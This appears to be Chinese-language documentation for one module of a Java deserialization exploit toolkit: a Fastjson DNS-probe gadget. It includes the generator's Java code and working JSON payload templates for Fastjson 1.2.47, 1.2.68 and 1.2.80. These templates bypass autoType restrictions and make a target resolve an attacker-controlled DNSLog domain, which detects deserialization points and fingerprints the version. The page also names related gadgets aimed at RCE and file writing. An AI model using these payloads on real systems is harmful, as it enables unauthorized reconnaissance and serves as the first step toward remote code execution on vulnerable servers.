- 类别:fastjson 别名:— 优先级:—
- 作者:—
- 依赖:
fastjson 1.2.x
生成一段最小化的 Fastjson JSON 探测 payload:反序列化时通过 java.net.Inet4Address / java.net.InetSocketAddress 等类的构造/解析触发一次 DNS 解析,向攻击者可控域名发起 DNS 请求,用于无回显探测目标是否存在 Fastjson 反序列化点及出网能力。不实现 RCE,属探测/END 型 gadget。
- 入口
tags:FastjsonPayload、END—— 承接 Fastjson payload 入口;END表示自成终点(DNS 探测即最终效果)。 - 衔接
nextTags:无 —— 终端 gadget,不再串接下游。 excludes:无。
本类不调用 chain.doCreate,invoke 直接返回自身根据版本拼装的 JSON:
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}
public Object getObject() {
if (this.FastJsonVersion.equals("1.2.47")) {
payload = String.format(template, this.domain);
} else if (this.FastJsonVersion.equals("1.2.68")) {
payload = String.format(template3, this.domain);
} else if (this.FastJsonVersion.equals("1.2.80")) {
payload = String.format(template2, this.domain, this.domain);
}
return payload;
}三套按版本切换的模板:
template(1.2.47,最简):
{"@type":"java.net.Inet4Address","val":"%s"}Inet4Address 的 val 反序列化时会对域名做 DNS 解析,直接触发一次请求。
template3(1.2.68,AutoCloseable + ByteArrayOutputStream 绕 autoType 后接 InetSocketAddress):
[
{ "@type": "java.lang.AutoCloseable", "@type": "java.io.ByteArrayOutputStream" },
{ "@type": "java.io.ByteArrayOutputStream" },
{ "@type": "java.net.InetSocketAddress" { "address":, "val": "%s" } }
]用 java.lang.AutoCloseable 双 @type 绕过 1.2.68 的 autoType 限制,再用 InetSocketAddress 触发解析。
template2(1.2.80,Exception + JSONException 绕过,两个域名各一次请求):
[
{ "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException",
"x": { "@type": "java.net.InetSocketAddress" { "address":, "val": "first.%s" } } },
{ "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException",
"message": { "@type": "java.net.InetSocketAddress" { "address":, "val": "second.%s" } } }
]利用 java.lang.Exception → com.alibaba.fastjson.JSONException 的 autoType 绕过(异常类在 1.2.80 白名单内),内嵌 InetSocketAddress 触发 DNS。该版本 payload 对 <=1.2.80 收到 1 个 DNS 请求、1.2.83 收到 2 个请求(first./second. 前缀便于区分版本,见 description)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
domain |
DNSLog domain | 攻击者可控的 DNSLog 域名 | xxx.dnslog.cn |
— |
FastJsonVersion |
Fastjson版本 | 选目标 fastjson 版本对应的 DNS 探测模板;1.2.80 的 payload 对 <=1.2.80 收 1 个 DNS 请求,1.2.83 收 2 个 |
1.2.47 |
1.2.47、1.2.68、1.2.80 |
- 覆盖
fastjson 1.2.x主流版本,分1.2.47/1.2.68/1.2.80三档绕过模板。 - 纯探测用途:只触发 DNS 解析,不加载类、不 RCE,故不依赖除 fastjson 外的第三方组件,通用性最强。
- 可依据收到的 DNS 请求数量/前缀粗略判断目标 fastjson 版本区间。
自由构件,未直接出现在预设链(usedInChains 为空)。带 END,独立作为探测 payload 使用。
- 同族(Fastjson 系列):FastjsonBasicDataSource、FastjsonBasicDataSourcemybatis、FastjsonC3p0(RCE 方向),FastjsonCmonsio(写文件方向)。
- 定位类似于 Java 原生的
URLDNS:均为无回显 DNS 探测入口,先确认反序列化点存在再上重链。